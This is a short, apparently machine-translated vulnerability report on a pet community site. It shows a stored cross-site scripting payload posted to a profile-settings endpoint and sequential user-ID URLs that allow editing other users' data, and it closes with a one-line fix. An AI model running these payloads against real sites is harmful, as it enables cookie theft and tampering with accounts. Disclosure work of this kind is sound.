Pipi genie Pipi Pet Storage-type cross-site + other sub-station arbitrary User Information Modification Vulnerability

Pipi genie Pipi pet sub-station, multiple variables from the client are not filtered for security, resulting in storage-type cross-site existence, testing worm.
1. the individual signature is not filtered out.

#2 worms
AJAX POST
Http://pet.pp.cc/index.php? M = userset & action = savePersonalBasic

Gender = 1 & province = 1 & city = 36 & introduce = % 22% 3E % 3 Cscript % 3 Ealert % 28document. cookie % 29% 3C % 2 Fscript % 3E & province = 0 & city = 36

 

> View and modify any user information of Pipi

Http://wx.pp.cc/index.php/wb_u/my_editwxuser/33789

Http://wx.pp.cc/index.php/wb_u/my_editwxuser/33790

 

# Define the ID to view and modify user information.

# Store cross-site test results

 

Http://pet.pp.cc/u/3404/me

 

# Results of modifying any user information by Pipi

 


 

Solution:

Filtering and permission verification.